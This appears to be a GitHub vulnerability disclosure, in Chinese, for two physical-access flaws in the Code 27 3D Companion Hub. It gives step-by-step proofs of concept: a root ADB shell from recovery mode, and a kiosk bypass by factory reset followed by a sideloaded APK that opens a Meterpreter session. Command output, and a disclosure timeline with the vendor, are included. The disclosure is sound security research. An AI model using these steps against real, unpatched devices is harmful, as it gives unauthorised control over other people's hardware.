redr0nin/Code-27-Companion-Hub-Exploits

GitHub: redr0nin/Code-27-Companion-Hub-Exploits

该项目是 Code 27 3D Companion Hub 设备的两个物理安全漏洞(CVE-2026-36027 和 CVE-2026-36028)的概念验证,揭示了 userdebug 固件和 kiosk 分区设计缺陷导致设备可被完全控制。

Stars: 0 | Forks: 0

# Code 27 3D Companion Hub 漏洞 (CVE-2026-36027, CVE-2026-36028) Code 27 3D Companion Hub 是一款物理桌面设备,可将自定义 AI 角色(即“Codie”)渲染为动画 3D 伴侣。用户可以上传或创建任何 3D 模型,多模态 AI 让该角色能够看到周围环境、解读语气和肢体语言,并进行开放式对话。 本文介绍了两个需要物理接触设备才能利用的漏洞。这两个漏洞均已针对下述构建版本进行了验证,并且在发布时尚未修补。

Code 27 3D Companion Hub

## 受影响的设备 / 构建版本 | 字段 | 值 | |---|---| | 产品 | Code 27 3D Companion Hub | | Companion Hub UI 版本 | 1.2.0 | | SoC / 主板 | Rockchip RK3588S (`rk3588s_yt921`) | | 操作系统 | Android 12 | | Build ID | `SQ3A.220705.003.A1` | | 完整指纹 | `rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys` | | 构建类型 | **userdebug** / release-keys | 出厂固件是 userdebug 构建(在 recovery 横幅和 `ro.build.display.id` 中可见)。userdebug 构建允许通过 `adb root` 将 `adbd` 以 root 权限重启,这是导致 CVE-2026-36027 漏洞存在的关键因素。

Companion Hub version screen showing version 1.2.0

## CVE-2026-36027 - 在 Recovery 模式下通过 USB Debugging (ADB) 执行任意代码 ### 概要总结 物理距离相近的攻击者可以将 Companion Hub 启动至 Android recovery 模式,并获得具有 root 权限的 ADB shell(`uid=0`,SELinux context 为 `u:r:su:s0`)。由于该设备出厂搭载的是 userdebug 构建,因此可以通过 `adb root` 将 `adbd` 以 root 权限重启,从而使攻击者获得对 recovery 环境的读写交互权限,能够枚举构建和硬件属性,并访问 recovery 功能(sideload、fastboot、分区操作)。 获取的访问权限仅限于 recovery ramdisk 内,而非正在运行的 Android 运行时。在测试中,recovery 的 `Mount /system` 操作失败(`libfs_mgr` 无法打开 `/dev/block/by-name/system`),因此系统分区没有通过此路径直接挂载,且在此模式下不会呈现已启动的用户环境(包括 kiosk 和任何已解密的用户数据)。 这依然至关重要,因为对 recovery 环境的 root 访问权限是修改设备持久化状态(例如,写入分区或应用精心构造的更新包)的基础,这使得攻击者控制的代码能够在随后的正常启动中运行,从而在处于运行状态的设备上建立立足点。 ### 概念验证 1. 关闭设备电源。 2. 待设备完全关机后,同时按住电源键和音量键,直到设备启动进入 Android recovery 菜单。

Android recovery menu with Mount /system highlighted

3. 将 USB-C 线的一端连接到 Companion Hub,另一端 USB-A 连接到计算机。 4. 使用按钮导航到 `Mount /system`,高亮选中并确认。它看起来会像是失败了。这是预期内的,且漏洞利用依然有效。(recovery 日志显示 `libfs_mgr` 无法打开 `/dev/block/by-name/system`。) 5. 在计算机上安装 ADB 后,确认设备已列出: ``` PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices List of devices attached YGKJ2601921S00193 recovery ``` 6. 设备处于 recovery 模式。以 root 上下文重启 adbd: ``` PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root restarting adbd as root timeout expired while waiting for device ``` 7. 打开 shell - 您现在是设备上的 root 用户: ``` PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell # whoami root # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0 # getprop ro.build.display.id rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys # getprop ro.product.model rk3588s_yt921 # getprop ro.build.version.release 12 ``` 8. 使用 root shell,您可以枚举并交互操作 recovery 文件系统: ``` # ls -la total 840 drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai! 1970-01-01 00:00 . drwxrwxrwt 33 root root 1040 1970-01-01 00:00 .. drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache drwxr-xr-x 3 root root 0 1970-01-01 00:00 config lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug drwxr-xr-x 2 root root 40 1970-01-01 00:00 data drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init -rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm -rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts -rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba -rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts -rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc drwxr-xr-x 2 root root 40 1970-01-01 00:00 product -rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts -rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts -rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default drwxr-xr-x 3 root root 60 1970-01-01 00:00 res drwx------ 2 root root 40 2026-02-03 06:23 root drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources -rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload drwxr-x--x 2 root root 40 1970-01-01 00:00 storage dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys drwxr-xr-x 5 root root 100 1970-01-01 00:00 system drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext -rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts -rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm -rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts -rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts ``` ## CVE-2026-36028 - 通过恢复出厂设置绕过 Kiosk 限制 ### 概要总结 从 recovery 菜单执行的恢复出厂设置会擦除 userdata 分区,而 kiosk 应用程序正是安装在此处。由于 kiosk 不是系统分区的一部分,它在重启时不会恢复,设备会启动到标准的、无限制的 Android 环境中(启动器、Web 浏览器、文件管理器、设置和其他系统应用程序)。 从这个不受限制的环境中,攻击者可以重新启用开发者选项/USB Debugging,sideload 任意的 APK,并执行它以在运行的操作系统上获取 shell。在测试中,这产生了一个以非特权应用程序用户 `u0_a79` 身份运行的 meterpreter 会话——这与 CVE-2026-36027 中 recovery 模式下的 root shell 有着不同的权限和数据上下文,因为它是在实时启动的操作系统上运行的,而不是在 recovery ramdisk 中。在此状态下植入并运行的代码将作为设备正常操作的一部分执行,使攻击者能够交互式地控制设备及其用户可访问的文件系统。 ### 概念验证 1. 关闭设备电源。 2. 待设备完全关机后,同时按住电源键和音量键,直到设备启动进入 Android recovery 菜单。 3. 高亮选中 `Wipe data/factory reset` 并确认擦除。

Android recovery menu with Wipe data/factory reset highlighted

4. 设备重启后,kiosk 应用程序丢失且 kiosk 模式未启动。这是因为 kiosk 应用程序安装在 userdata 分区而不是系统分区中。Recovery 恢复出厂设置会擦除 userdata,永久删除 kiosk 应用程序;由于它们不存在于系统分区中,因此在重启时不会恢复,导致 kiosk 无法启动。 5. 攻击者会面对一个不受限制的 Android 环境,包括 Web 浏览器、文件管理器、设置和其他系统应用程序。从这里开始,可以启用 USB Debugging 并 sideload 及执行任意 APK——在本例中,在运行的 OS 上生成了一个 Meterpreter 会话: ``` [*] Sending stage (72424 bytes) to 10.0.0.48 [*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500 meterpreter > getuid Server username: u0_a79 meterpreter > cd / meterpreter > ls Listing: / ========== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct 040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex 040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin 000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports 040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache 040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config 040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d 040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data 040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk 040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc 100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init 100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc 040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig 040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found 040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata 040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall 040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product 040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard 040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources 040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage 040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor 040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm ``` ## 漏洞披露时间表 | 日期 | 事件 | |---|---| | 2026-02-17 | 向 Code 27 团队披露了这两个漏洞并得到确认。 | | 2026-02-17 | 向 MITRE 报告了这两个 0-day 漏洞。 | | 2026-02-18 | Code 27 团队讨论了解决计划,收集了额外信息,并声明将予以修复。 | | 2026-06-15 | MITRE 分配了 CVE-2026-36027 和 CVE-2026-36028。 | | 2026-06-15 | 通知 Code 27 相关分配情况;初始联系人将信息转发给安全团队以进行构建审查。 | | 2026-06-16 | Code 27 安全团队再次要求提供完整的技术细节。 | | 2026-06-17 | 再次向安全团队提供了完整的技术细节。 | | 2026-06-18 | 安全团队未作回应。 | | 2026-06-19 | Code 27 代表表示,公司通常会得到 90 天的时间来解决安全问题,且安全团队已知悉此事。该代表被告知这些问题早在 120 多天前就已报告。设定了 7 月 1 日的披露截止日期。 | | 2026-06-25 | 联系 Code 27 安全团队,确认关于截止日期和发布的最后警告。 | | 2026-06-28 | Code 27 致歉,确认了 CVE 标识符和披露截止日期,并表示将在 7 月 1 日之前发送公开通告和链接。 | | 2026-07-01 | 就通告状态联系 Code 27;未获回应。 | | 2026-07-02 | 发布未修补的漏洞详情。 |
标签:Android安全, PoC, 暴力破解, 物理安全, 物联网安全